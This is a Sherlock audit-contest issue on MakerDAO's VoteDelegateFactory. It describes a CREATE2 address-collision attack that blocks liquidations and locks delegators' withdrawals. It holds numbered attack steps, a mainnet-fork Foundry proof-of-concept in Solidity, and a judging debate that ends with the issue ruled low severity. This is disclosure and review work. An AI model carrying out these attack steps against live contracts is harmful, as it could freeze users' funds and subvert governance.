search

sherlock-audit / 2024-06-makerdao-endgame-judging

1 stars 1 forks source link

00xSEV - An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol #63

Closed sherlock-admin4 closed 1 month ago

sherlock-admin4 commented 1 month ago

00xSEV

Medium

An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol

Summary

An attacker can use brute-force to find two private keys that create EOAs with the following properties:

Since a VD (VoteDelegate) address depends solely on msg.sender. While this currently costs between $1.5 million and several million dollars (detailed in "Vulnerability Details"), the cost is decreasing, making the attack more feasible over time.

The attacker can approve IOU tokens to an EOA, attacker, and then create a VD. By transferring IOUs to another address, the attacker can lock liquidations and withdrawals for anyone using this VD.

Vulnerability Detail

Examples of previous issues with the same root cause:

All of these were judged as valid medium https://github.com/sherlock-audit/2024-01-napier-judging/issues/111 https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59 https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90 https://github.com/code-423n4/2024-04-panoptic-findings/issues/482

Summary

The current cost of this attack is less than $1.5 million with current prices.

An attacker can find a single address collision between (1) and (2) with a high probability of success using a meet-in-the-middle technique, a classic brute-force-based attack in cryptography:

The feasibility, detailed technique, and hardware requirements for finding a collision are well-documented:

The Bitcoin network hashrate has reached 6.5x10^20 hashes per second, taking only 31 minutes to achieve the necessary hashes. A fraction of this computing power can still find a collision within a reasonable timeframe.

Steps:

  1. The attacker finds two private keys that generate EOAs with the following properties:

    • The first key generates a regular EOA, eoa1.
    • The second key, eoa2, when used as a salt for VD creation, produces a VD with the same address as eoa1.

  2. Call IOU.approve(attacker, max) from eoa1.

  3. Call voteDelegateFactory.create() from eoa2:

    1. It creates VD1.
    2. VD1 address == eoa1 address.
    3. VD1 retains the approvals given from eoa1 in step 2.

  4. Call LSE.open to create LSUrn1.

  5. Call LSE.lock(LSUrn1, 1000e18) to deposit funds.

  6. Call LSE.draw(LSUrn1, attacker, maxPossible) to borrow the maximum amount.

  7. Call LSE.selectVoteDelegate(LSUrn1, VD1) to transfer MKR to chief and get IOU on VD1.

  8. Call IOU.transferFrom(VD1, attacker, maxPossible).

  9. Now all liquidations will revert because dog.bark => LSClipper.kick => LSE.onKick => LSE._selectVoteDelegate => VoteDelegateLike(prevVoteDelegate).free(wad); => chief.free(wad); => IOU.burn will revert.

  10. The same is true for withdrawals of users who trusted this VD and delegated their funds to it, starting from _selectVoteDelegate, which is called on free and will revert:

    1. It's unexpected for users that the funds can be lost; they might only expect that their MKR could be used for malicious voting.
    2. An attacker can offer large rewards for delegating to his VD, as long as the attack remains unknown, users won't expect to lose their funds.
    3. The attacker can also use VD and all the MKR on it for malicious voting. Users didn't expect to give him voting rights indefinitely, increasing the chances of governance attacks.
    4. If the attacker could acquire a substantial amount of funds, they could select a hat by voting and gain full control of the protocol.

Link to create2

Variations:

Impact

The attacker can create non-liquidatable positions. All users who select the attacker's VD can lose their funds. All votes are permanently locked on the attacker's VD and can be used by the attacker for voting. Instead of eoa2, a contract can be used to allow others to vote and sell voting power, similar to Curve bribing or other governance attacks.

If the attacker could acquire a substantial amount of funds, they could select a hat by voting and gain full control of the protocol.

Code Snippet

PoC

  1. Create test/ALockstakeEngine.sol in the root project directory.
    test/ALockstakeEngine.sol
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "../dss-flappers/lib/dss-test/src//DssTest.sol";
import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol";
import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol";
import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol";
import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol";
import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol";
import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol";
import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol";
import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol";
import { GemMock } from "../lockstake/test/mocks/GemMock.sol";
import { NstMock } from "../lockstake/test/mocks/NstMock.sol";
import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol";
import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol";
import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol";

import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol";
import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol";

contract DSChiefLike  {
    DSTokenAbstract public IOU;
    DSTokenAbstract public GOV;
    mapping(address=>uint256) public deposits;
    function free(uint wad) public {}
    function lock(uint wad) public {}
}

interface CalcFabLike {
    function newLinearDecrease(address) external returns (address);
}

interface LineMomLike {
    function ilks(bytes32) external view returns (uint256);
}

interface MkrAuthorityLike {
    function rely(address) external;
}

contract ALockstakeEngineTest is DssTest {
    using stdStorage for StdStorage;

    DssInstance             dss;
    address                 pauseProxy;
    DSTokenAbstract         mkr;
    LockstakeMkr            lsmkr;
    LockstakeEngine         engine;
    LockstakeClipper        clip;
    address                 calc;
    MedianAbstract          pip;
    VoteDelegateFactory     voteDelegateFactory;
    NstMock                 nst;
    NstJoinMock             nstJoin;
    GemMock                 rTok;
    StakingRewardsMock      farm;
    StakingRewardsMock      farm2;
    MkrNgtMock              mkrNgt;
    GemMock                 ngt;
    bytes32                 ilk = "LSE";
    address                 voter;
    address                 voteDelegate;

    LockstakeConfig     cfg;

    uint256             prevLine;

    address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F;

    event AddFarm(address farm);
    event DelFarm(address farm);
    event Open(address indexed owner, uint256 indexed index, address urn);
    event Hope(address indexed urn, address indexed usr);
    event Nope(address indexed urn, address indexed usr);
    event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_);
    event SelectFarm(address indexed urn, address farm, uint16 ref);
    event Lock(address indexed urn, uint256 wad, uint16 ref);
    event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref);
    event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed);
    event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad, uint256 ngtFreed);
    event FreeNoFee(address indexed urn, address indexed to, uint256 wad);
    event Draw(address indexed urn, address indexed to, uint256 wad);
    event Wipe(address indexed urn, uint256 wad);
    event GetReward(address indexed urn, address indexed farm, address indexed to, uint256 amt);
    event OnKick(address indexed urn, uint256 wad);
    event OnTake(address indexed urn, address indexed who, uint256 wad);
    event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund);

    function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
        // Note: _divup(0,0) will return 0 differing from natural solidity division
        unchecked {
            z = x != 0 ? ((x - 1) / y) + 1 : 0;
        }
    }

    // Real contracts for mainnet
    address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0;
    address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133;
    uint chiefBalanceBeforeTests;

    function setUp() public virtual {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954);

        dss = MCD.loadFromChainlog(LOG);

        pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY");
        pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR"));
        mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV"));
        nst = new NstMock();
        nstJoin = new NstJoinMock(address(dss.vat), address(nst));
        rTok = new GemMock(0);
        ngt = new GemMock(0);
        mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000);
        vm.startPrank(pauseProxy);
        MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt));
        vm.stopPrank();

        // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
        voteDelegateFactory = new VoteDelegateFactory(
            chief, polling
        );
        voter = address(123);
        vm.prank(voter); voteDelegate = voteDelegateFactory.create();

        vm.prank(pauseProxy); pip.kiss(address(this));
        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 * 10**18)));

        LockstakeInstance memory instance = LockstakeDeploy.deployLockstake(
            address(this),
            pauseProxy,
            address(voteDelegateFactory),
            address(nstJoin),
            ilk,
            15 * WAD / 100,
            address(mkrNgt),
            bytes4(abi.encodeWithSignature("newLinearDecrease(address)"))
        );

        engine = LockstakeEngine(instance.engine);
        clip = LockstakeClipper(instance.clipper);
        calc = instance.clipperCalc;
        lsmkr = LockstakeMkr(instance.lsmkr);
        farm = new StakingRewardsMock(address(rTok), address(lsmkr));
        farm2 = new StakingRewardsMock(address(rTok), address(lsmkr));

        address[] memory farms = new address[](2);
        farms[0] = address(farm);
        farms[1] = address(farm2);

        cfg = LockstakeConfig({
            ilk: ilk,
            voteDelegateFactory: address(voteDelegateFactory),
            nstJoin: address(nstJoin),
            nst: address(nstJoin.nst()),
            mkr: address(mkr),
            mkrNgt: address(mkrNgt),
            ngt: address(ngt),
            farms: farms,
            fee: 15 * WAD / 100,
            maxLine: 10_000_000 * 10**45,
            gap: 1_000_000 * 10**45,
            ttl: 1 days,
            dust: 50,
            duty: 100000001 * 10**27 / 100000000,
            mat: 3 * 10**27,
            buf: 1.25 * 10**27, // 25% Initial price buffer
            tail: 3600, // 1 hour before reset
            cusp: 0.2 * 10**27, // 80% drop before reset
            chip: 2 * WAD / 100,
            tip: 3,
            stopped: 0,
            chop: 1 ether,
            hole: 10_000 * 10**45,
            tau: 100,
            cut: 0,
            step: 0,
            lineMom: true,
            tolerance: 0.5 * 10**27,
            name: "LOCKSTAKE",
            symbol: "LMKR"
        });

        prevLine = dss.vat.Line();

        vm.startPrank(pauseProxy);
        LockstakeInit.initLockstake(dss, instance, cfg);
        vm.stopPrank();

        deal(address(mkr), address(this), 100_000 * 10**18, true);
        deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true);

        // Add some existing DAI assigned to nstJoin to avoid a particular error
        stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(100_000 * RAD);

        chiefBalanceBeforeTests = mkr.balanceOf(chief);
    }

}

It is based on the LockstakeEngine.t.sol setUp function:

To see the diff, you can run git diff. Note: all other functions except setUp are removed from the file and the diff.

git diff --no-index lockstake/test/LockstakeEngine.t.sol test/ALockstakeEngine.sol ```diff diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol index 83fa75d..ba4f381 100644 --- a/lockstake/test/LockstakeEngine.t.sol +++ b/test/ALockstakeEngine.sol @@ -2,20 +2,32 @@ pragma solidity ^0.8.21; -import "dss-test/DssTest.sol"; -import "dss-interfaces/Interfaces.sol"; -import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol"; -import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "deploy/LockstakeInit.sol"; -import { LockstakeMkr } from "src/LockstakeMkr.sol"; -import { LockstakeEngine } from "src/LockstakeEngine.sol"; -import { LockstakeClipper } from "src/LockstakeClipper.sol"; -import { LockstakeUrn } from "src/LockstakeUrn.sol"; -import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; -import { GemMock } from "test/mocks/GemMock.sol"; -import { NstMock } from "test/mocks/NstMock.sol"; -import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; -import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol"; -import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; +import "../dss-flappers/lib/dss-test/src//DssTest.sol"; +import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; +import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; +import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; +import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; +import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; +import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; +import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; +import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; +import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; +import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; +import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; +import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; + +import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; +import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; + + +contract DSChiefLike { + DSTokenAbstract public IOU; + DSTokenAbstract public GOV; + mapping(address=>uint256) public deposits; + function free(uint wad) public {} + function lock(uint wad) public {} +} interface CalcFabLike { function newLinearDecrease(address) external returns (address); @@ -29,7 +41,7 @@ interface MkrAuthorityLike { function rely(address) external; } -contract LockstakeEngineTest is DssTest { +contract ALockstakeEngineTest is DssTest { using stdStorage for StdStorage; DssInstance dss; @@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest { LockstakeClipper clip; address calc; MedianAbstract pip; - VoteDelegateFactoryMock voteDelegateFactory; + VoteDelegateFactory voteDelegateFactory; NstMock nst; NstJoinMock nstJoin; GemMock rTok; @@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest { } } - function setUp() public { - vm.createSelectFork(vm.envString("ETH_RPC_URL")); + // Real contracts for mainnet + address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; + address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; + uint chiefBalanceBeforeTests; + + function setUp() public virtual { + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); dss = MCD.loadFromChainlog(LOG); @@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest { MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); vm.stopPrank(); - voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + voteDelegateFactory = new VoteDelegateFactory( + chief, polling + ); voter = address(123); vm.prank(voter); voteDelegate = voteDelegateFactory.create(); ```

  1. Add the following remappings.txt to the root project directory.

    dss-interfaces/=dss-flappers/lib/dss-test/lib/dss-interfaces/src/
dss-test/=dss-flappers/lib/dss-test/src/
forge-std/=dss-flappers/lib/dss-test/lib/forge-std/src/
@openzeppelin/contracts/=sdai/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/
@openzeppelin/contracts-upgradeable/=sdai/lib/openzeppelin-contracts-upgradeable/contracts/
solidity-stringutils=nst/lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/
lockstake:src/=lockstake/src/
vote-delegate:src/=vote-delegate/src/
sdai:src/=sdai/src/

  2. Run forge test --match-path test/ALSEH3.sol from the root project directory.

    
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "./ALockstakeEngine.sol";

contract VoteDelegateLike { mapping(address => uint256) public stake; }

interface GemLike { function approve(address, uint256) external; function transfer(address, uint256) external; function transferFrom(address, address, uint256) external; function balanceOf(address) external view returns (uint256); }

interface ChiefLike { function GOV() external view returns (GemLike); function IOU() external view returns (GemLike); function lock(uint256) external; function free(uint256) external; function vote(address[] calldata) external returns (bytes32); function vote(bytes32) external; function deposits(address) external returns (uint); }

contract ALSEH3 is ALockstakeEngineTest { // Address used by the attacker, a regular EOA address attacker = makeAddr("attacker"); // Address brute-forced by the attacker to make a VD that matches an EOA controlled by the attacker address minedVDCreator = makeAddr("minedUrnCreator");

address[] users = [
    makeAddr("user1"),
    makeAddr("user2"),
    makeAddr("user3")
];

uint mkrAmount = 100_000 * 10**18;

address eoaVD;
GemLike iou;

function setUp() public override {
    // Call the parent setUp
    super.setUp();

    // This VD will have the same address as an EOA controlled by the attacker
    eoaVD = voteDelegateFactory.getAddress(minedVDCreator);
    iou = ChiefLike(chief).IOU();

    // Call from the EOA, the urn is not created yet
    vm.prank(eoaVD); iou.approve(attacker, type(uint).max);

    // Create the VD, can't use EOA anymore as per EIP-3607
    vm.prank(minedVDCreator); eoaVD = voteDelegateFactory.create();

    // Simulate several other urns
    _createUrnDepositDrawForUsers();
}

function testAttack1LockSelfLiquidation() external {
    _createUrnDepositDrawForUser(attacker, eoaVD);

    _testLiquidateUsingDog({user: attacker, expectRevert: false, revertMsg: ""});

    vm.prank(attacker); iou.transferFrom(eoaVD, attacker, mkrAmount);
    _testLiquidateUsingDog({user: attacker, expectRevert: true, revertMsg: "ds-token-insufficient-balance"});
}

function testAttack2LockWithdrawalsForOthers() external {
    _changeBlockNumberForChief();
    console.log("Voting power on eoaVD before users selected: %e", ChiefLike(chief).deposits(eoaVD));
    // Some users trusted this VD
    for (uint i; i < users.length; i++){
        address usr = users[i];
        address urn = engine.getUrn(usr, 0);
        vm.prank(usr); engine.selectVoteDelegate(urn, eoaVD);
    }

    console.log("Voting power on eoaVD after users selected: %e", ChiefLike(chief).deposits(eoaVD));

    _testLiquidateUsingDog({expectRevert: false, revertMsg: ""});
    uint eoaVdIouBalance = ChiefLike(chief).deposits(eoaVD);
    vm.prank(attacker); iou.transferFrom(eoaVD, attacker, eoaVdIouBalance);
    console.log("Voting power on eoaVD after withdrawing IOU: %e", ChiefLike(chief).deposits(eoaVD));

    _testLiquidateUsingDog({expectRevert: true, revertMsg: "ds-token-insufficient-balance"});

    for (uint i; i < users.length; i++){
        address usr = users[i];
        address urn = engine.getUrn(usr, 0);
        (uint256 ink,) = dss.vat.urns(ilk, urn);

        vm.startPrank(usr);
        nst.approve(address(engine), type(uint).max);
        engine.wipeAll(urn);

        vm.expectRevert("ds-token-insufficient-balance");
        engine.free(urn, usr, 1);

        vm.expectRevert("ds-token-insufficient-balance");
        engine.free(urn, usr, ink);
    }
}

// Chief won't allow withdrawal in the same block as the deposit
function _changeBlockNumberForChief() internal {
    vm.roll(block.number + 1);
}

function _testLiquidateUsingDog(address user, bool expectRevert, string memory revertMsg) internal {
    _changeBlockNumberForChief();
    uint sId = vm.snapshot();

    address urn = engine.getUrn(user, 0);

    // Force urn unsafe
    vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 * 10**18)));
    dss.spotter.poke(ilk);

    if (expectRevert) vm.expectRevert(bytes(revertMsg));
    dss.dog.bark(ilk, urn, makeAddr("kpr"));

    vm.revertTo(sId);
}

function _testLiquidateUsingDog(bool expectRevert, string memory revertMsg) internal {
    for (uint i; i < users.length; i++){
        address user = users[i];
        _testLiquidateUsingDog(user, expectRevert, revertMsg);
    }
}

function _createUrnDepositDrawForUsers() internal {
    for (uint i; i < users.length; i++){
        _createUrnDepositDrawForUser(users[i], voteDelegate);
    }
}

function _createUrnDepositDrawForUser(address user, address _voteDelegate) internal {
    deal(address(mkr), user, mkrAmount);

    vm.startPrank(user);

    mkr.approve(address(engine), type(uint).max);
    address urn = engine.open(0);
    engine.lock(urn, mkrAmount, 0);
    engine.selectVoteDelegate(urn, _voteDelegate);
    engine.draw(urn, user, mkrAmount/50); // same proportion as in original LSE test

    vm.stopPrank();
}

}



## Tool used

Manual Review

## Recommendation

- Prevent users from controlling the `salt`, including using `msg.sender`.
- Additionally, consider combining and encoding `block.prevrandao` with `msg.sender`. This approach will make finding a collision practically impossible within the short timeframe that `prevrandao` is known.
sherlock-admin3 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

Audittens commented:

Attack cost is the same as for the issue 64

z3s commented 1 month ago

The protocol team comments:

While we consider hash collision attacks extremely unlikely for the foreseeable future, we intend to change the VoteDelegateFactory so as to make it future-proof. Considering the enormous resources required for this attack, and given that a collision with a VoteDelegate could be use to grief (but not steal) funds deposited to a VoteDelegate, or to avoid a liquidation (which is very unlikely to be worth the cost of the attack), we consider this an informational / low severity issue. This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity."

JeffCX commented 1 month ago

Escalate

if https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64 is a medium

this issue should be a medium as well.

This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity

but the cost of attack will decrease as shown in the report and the loss of fund have no upper side because user will keep lock voting power fund.

https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegate.sol#L85

    function lock(uint256 wad) external {
        require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE,
                "VoteDelegate/no-lock-during-hatch");
        gov.transferFrom(msg.sender, address(this), wad);
        chief.lock(wad);
        stake[msg.sender] += wad;

        emit Lock(msg.sender, wad);
    }
sherlock-admin3 commented 1 month ago

Escalate

if https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64 is a medium

this issue should be a medium as well.

This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity

but the cost of attack will decrease as shown in the report and the loss of fund have no upper side because user will keep lock voting power fund.

https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegate.sol#L85

    function lock(uint256 wad) external {
        require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE,
                "VoteDelegate/no-lock-during-hatch");
        gov.transferFrom(msg.sender, address(this), wad);
        chief.lock(wad);
        stake[msg.sender] += wad;

        emit Lock(msg.sender, wad);
    }

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

JeffCX commented 1 month ago

other evidence:

issue https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/109 which is a duplicate of valid issue

https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/63

has the following the text:

Similarly a create2 collision found for votedelegate contract will allow a user to lock the funds of all the delegators by setting an approval for the IOU token early and then moving it later to another address causing the withdraw function of chief to revert since that much amount of IOU tokens are not present to burn

and

Considering the enormous resources required for this attack, and given that a collision with a VoteDelegate could be use to grief (but not steal) funds deposited to a VoteDelegate

I think as outlined by a lot of report, the attacker can approve the token allowance and then self-destruct so any fund that deposit into the contract can be transfered out and get stolen.

00xSEV commented 1 month ago

The rules state that a valid duplicate must "Identify at least a Medium impact" (https://docs.sherlock.xyz/audits/judging/judging#ix.-duplication-rules).

I can see that my issue (https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/63), which has the following impacts:

The attacker can create non-liquidatable positions.  <@1
All users who select the attacker's VD can lose their funds.
All votes are permanently locked on the attacker's VD  <@2
and can be used by the attacker for voting. 
Instead of eoa2, a contract can be used to allow others to vote and sell voting power, similar to Curve bribing or other governance attacks.

has the same impact as https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/42

prevent the protocol from liquidating the collateral.  <@1

and https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/109

can avoid future liquidations  <@1
and also DOS other user's in withdrawing funds <@2

If impacts 1 and 2 are enough to be considered Medium, this issue should be valid. If they are not, then issues 42 and 109 should not be considered valid at all, right?

00xSEV commented 1 month ago

If this issue is valid, please also consider marking #37 as invalid since it lacks a sufficient proof of an attack path. No mentions about approves or selfdestruct, impossible to reproduce.

If an attacker can predict the user's address, they can pre-calculate the VoteDelegate contract address and deploy a malicious contract at that address before the user initiates the transaction.

Impact If an attacker successfully executes a salt attack, they can modify the behavior of the newly created VoteDelegate contract. This could lead to a loss of control over the voting delegation process, allowing the attacker to manipulate votes or perform other unauthorized actions.

yashar0x commented 1 month ago

The CREATE2 collision is valid, but this report and #64 describe the same vulnerability—CREATE2 address collisions. The different impacts they describe are simply variations of how an attacker might exploit this vulnerability. Since the core issue is identical, having two separate reports from a single Watson is redundant, as they share the same root cause and the same fix.

WangSecurity commented 1 month ago

I see how the problem with this report is the cost of the attack for #64. Hence, will provide my decision on this escalation, once the discussion on #64 is settled.

telome commented 1 month ago

63 should not be considered a duplicate of #64 as it requires an attack that is harder and costlier to achieve than in #64 despite having a significantly lower impact than in #64.

WangSecurity commented 3 weeks ago

Based on the discussion under #64 about the cost of the attack, I believe this finding is low-severity as well. Planning to reject the escalation and leave the issue as it is.

WangSecurity commented 3 weeks ago

Result: Invalid Has duplicates

sherlock-admin2 commented 3 weeks ago

Escalations have been resolved successfully!

Escalation status: